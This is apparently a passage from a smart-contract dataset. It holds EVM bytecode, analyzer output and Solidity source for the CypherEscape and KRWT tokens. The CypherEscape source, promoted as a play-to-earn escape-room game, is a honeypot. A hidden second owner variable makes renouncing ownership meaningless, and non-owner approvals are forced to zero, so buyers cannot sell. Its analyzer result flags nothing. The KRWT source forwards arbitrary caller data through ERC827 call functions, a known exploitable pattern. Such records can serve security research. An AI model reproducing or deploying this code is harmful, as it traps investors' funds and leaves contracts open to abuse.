c565b90506105356104f16040860160208701610fad565b60e086013560c087013561050b6060890160408a01610fad565b61051b60808a0160608b01610fad565b6101008a0135610530368b90038b018b61104f565b610e16565b33610551858361054b6040830160208401610fad565b84610acd565b6105616040860160208701610fad565b6001600160a01b03168560e00135336001600160a01b03167fec34853c156da04e4792f1c735112ae54e5ed52bac58db5014b26746f306a36288610100013560405161034191815260200190565b6001546000906001600160a01b031633146105dc5760405162461bcd60e51b81526004016101d190611121565b6001600160a01b0382166106415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101d1565b6001546040516001600160a01b038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350600180546001600160a01b0383166001600160a01b0319909116178155919050565b6106d96040518060a001604052806000815260200160008152602001600081526020016000815260200160006001600160a01b031681525090565b60008054819081908190819081906106f69060ff166103e8611156565b61ffff166107068c6103e86111b4565b6107109190611194565b9050600061071e828d6111d3565b60008054919250906103e89061073c90610100900460ff16856111b4565b6107469190611194565b9050610752818361117c565b965060018c600181111561077657634e487b7160e01b600052602160045260246000fd5b14156108725760405163c57dc23560e01b8152600481018b90526001600160a01b038c169063c57dc2359060240160206040518083038186803b1580156107bc57600080fd5b505afa1580156107d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f491906110c5565b604051636a4731c560e11b8152600481018c90529094506001600160a01b038c169063d48e638a9060240160206040518083038186803b15801561083757600080fd5b505afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610fd0565b97505b60008c600181111561089457634e487b7160e01b600052602160045260246000fd5b14156109905760405163c57dc23560e01b8152600481018b90526001600160a01b038c169063c57dc2359060240160206040518083038186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091291906110c5565b604051636a4731c560e11b8152600481018c90529094506001600160a01b038c169063d48e638a9060240160206040518083038186803b15801561095557600080fd5b505afa158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d9190610fd0565b97505b6103e861099d85856111b4565b6109a79190611194565b9550806109b487856111d3565b6109be91906111d3565b6040805160a08101825298895260208901919091528701959095525060608501525050506001600160a01b0390911660808201529050949350505050565b6060808201516040516bffffffffffffffffffffffff1985841b81166020830152603482018990529286901b909216605483015260688201869052608882015260009060a801604051602081830303815290604052805190602001209050610a648183610ee5565b6001600160a01b0316876001600160a01b031614610ac45760405162461bcd60e51b815260206004820152601f60248201527f73656c6c6572207369676e20766572696669636174696f6e206661696c65640060448201526064016101d1565b50505050505050565b6001610adf60a0860160808701610fec565b6001811115610afe57634e487b7160e01b600052602160045260246000fd5b1415610b84576000546201000090046001600160a01b031663f709b906610b2b6080870160608801610fad565b83858860e001356040518563ffffffff1660e01b8152600401610b5194939291906110f7565b600060405180830381600087803b158015610b6b57600080fd5b505af1158015610b7f573d6000803e3d6000fd5b505050505b6000610b9660a0860160808701610fec565b6001811115610bb557634e487b7160e01b600052602160045260246000fd5b1415610c6e576000546201000090046001600160a01b0316639c1c2ee9610be26080870160608801610fad565b60405160e083811b6001600160e01b03191682526001600160a01b03928316600483015285831660248301529186166044820152908701356064820152610100870135608482015260c060a4820152600060c482015260e401600060405180830381600087803b158015610c5557600080fd5b505af1158015610c69573d6000803e3d6000fd5b505050505b825115610d03576000546201000090046001600160a01b031663776062c3610c9c6060870160408801610fad565b60015486516040516001600160e01b031960e086901b168152610cd0939288926001600160a01b03909116916004016110f7565b600060405180830381600087803b158015610cea57600080fd5b505af1158015610cfe573d6000803e3d6000fd5b505050505b604083015115610d91576000546201000090046001600160a01b031663776062c3610d346060870160408801610fad565b84866080015187604001516040518563ffffffff1660e01b8152600401610d5e94939291906110f7565b600060405180830381600087803b158015610d7857600080fd5b505af1158015610d8c573d6000803e3d6000fd5b505050505b6000546201000090046001600160a01b031663776062c3610db86060870160408801610fad565b848487602001516040518563ffffffff1660e01b8152600401610dde94939291906110f7565b600060405180830381600087803b158015610df857600080fd5b505af1158015610e0c573d6000803e3d6000fd5b5050505050505050565b6060808201516040516bffffffffffffffffffffffff1986841b81166020830152603482018a90529287901b9092166054830152606882018790526088820184905260a882015260009060c801604051602081830303815290604052805190602001209050610e858183610ee5565b6001600160a01b0316886001600160a01b031614610e0c5760405162461bcd60e51b815260206004820152601e60248201527f6275796572207369676e20766572696669636174696f6e206661696c6564000060448201526064016101d1565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101839052600090600190605c0160408051601f19818403018152828252805160209182012086518783015188850151600087529386018086529290925260ff16928401929092526060830191909152608082015260a0016020604051602081039080840390855afa158015610f8a573d6000803e3d6000fd5b5050604051601f190151949350505050565b803560ff811681146103d657600080fd5b600060208284031215610fbe578081fd5b8135610fc981611200565b9392505050565b600060208284031215610fe1578081fd5b8151610fc981611200565b600060208284031215610ffd578081fd5b813560028110610fc9578182fd5b6000808284036101a081121561101f578182fd5b6101208082121561102e578283fd5b849350608061011f1983011215611043578283fd5b92959390920193505050565b600060808284031215611060578081fd5b6040516080810181811067ffffffffffffffff8211171561108f57634e487b7160e01b83526041600452602483fd5b60405261109b83610f9c565b81526020830135602082015260408301356040820152606083013560608201528091505092915050565b6000602082840312156110d6578081fd5b5051919050565b6000602082840312156110ee578081fd5b610fc982610f9c565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600061ffff808316818516808303821115611173576111736111ea565b01949350505050565b6000821982111561118f5761118f6111ea565b500190565b6000826111af57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156111ce576111ce6111ea565b500290565b6000828210156111e5576111e56111ea565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461121557600080fd5b5056fea2646970667358221220732966fc559fd837ab10de068fe62f75477d559100e55d70b205bc722e1a734964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,232
0xe08379ec42496dc6ce24af897ef8d649c69e2559
/* CypherEscape ERC20 Token coupled with an innovative play to earn blockchain escape room developed on Unity Game Engine. The game features high quality optics soon to be compatible with VR. TOKENOMICS Total Tax: 11% 5% Marketing 3% Auto Liquidity 3% Game Development Escape Room A preview of the first room is available on our website. Next steps: - Launch game - Add more rooms - NFT collection of clues - Team tournaments 🌐 Web: https://cypherescape.io/ 🐤 Twitter: https://twitter.com/cypherescape?s=21 📩 TG: https://t.me/CypherEscape */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract CypherEscape is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'CypherEscape ' ; string private _symbol = 'CypherEscape ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e4e4ce65df9edc08edf8be00a32e5a5c7a2d8e668a6c8d7396803b940052cc8364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,233
0x97fee0d5ccfeca578bee7fe9446f1a684e52ff34
pragma solidity ^0.4.21; // ---------------------------------------------------------------------------- // TOKENMOM Korean Won(KRWT) Smart contract Token V.10 // 토큰맘 거래소 Korean Won 스마트 컨트랙트 토큰 // Deployed to : 0x8af2d2e23f0913af81abc6ccaa6200c945a161b4 // Symbol : BETA // Name : TOKENMOM Korean Won // Total supply: 100000000000 // Decimals : 8 // ---------------------------------------------------------------------------- contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } contract ERC827Token is ERC827, StandardToken { function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } contract KRWT is StandardToken, MintableToken, BurnableToken, PausableToken { string constant public name = "Korean Won"; string constant public symbol = "KRWT"; uint8 constant public decimals = 8; uint public totalSupply = 100000000000 * 10**uint(decimals); function KRWT () public { balances[msg.sender] = totalSupply; } }
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013d578063095ea7b3146101c757806318160ddd146101e957806323b872dd1461020e578063313ce567146102365780633f4ba83a1461025f57806340c10f191461027457806342966c68146102965780635c975abb146102ac57806366188463146102bf57806370a08231146102e15780637d64bcb4146103005780638456cb59146103135780638da5cb5b1461032657806395d89b4114610355578063a9059cbb14610368578063d73dd6231461038a578063dd62ed3e146103ac578063f2fde38b146103d1575b600080fd5b341561012157600080fd5b6101296103f0565b604051901515815260200160405180910390f35b341561014857600080fd5b610150610411565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018c578082015183820152602001610174565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610129600160a060020a0360043516602435610448565b34156101f457600080fd5b6101fc610473565b60405190815260200160405180910390f35b341561021957600080fd5b610129600160a060020a0360043581169060243516604435610479565b341561024157600080fd5b6102496104a6565b60405160ff909116815260200160405180910390f35b341561026a57600080fd5b6102726104ab565b005b341561027f57600080fd5b610129600160a060020a036004351660243561052b565b34156102a157600080fd5b610272600435610638565b34156102b757600080fd5b61012961071f565b34156102ca57600080fd5b610129600160a060020a036004351660243561072f565b34156102ec57600080fd5b6101fc600160a060020a0360043516610753565b341561030b57600080fd5b61012961076e565b341561031e57600080fd5b61027261081b565b341561033157600080fd5b6103396108a0565b604051600160a060020a03909116815260200160405180910390f35b341561036057600080fd5b6101506108af565b341561037357600080fd5b610129600160a060020a03600435166024356108e6565b341561039557600080fd5b610129600160a060020a036004351660243561090a565b34156103b757600080fd5b6101fc600160a060020a036004358116906024351661092e565b34156103dc57600080fd5b610272600160a060020a0360043516610959565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600a81527f4b6f7265616e20576f6e00000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561046257600080fd5b61046c83836109f4565b9392505050565b60045481565b60035460009060a860020a900460ff161561049357600080fd5b61049e848484610a60565b949350505050565b600881565b60035433600160a060020a039081169116146104c657600080fd5b60035460a860020a900460ff1615156104de57600080fd5b6003805475ff000000000000000000000000000000000000000000191690557f7805862f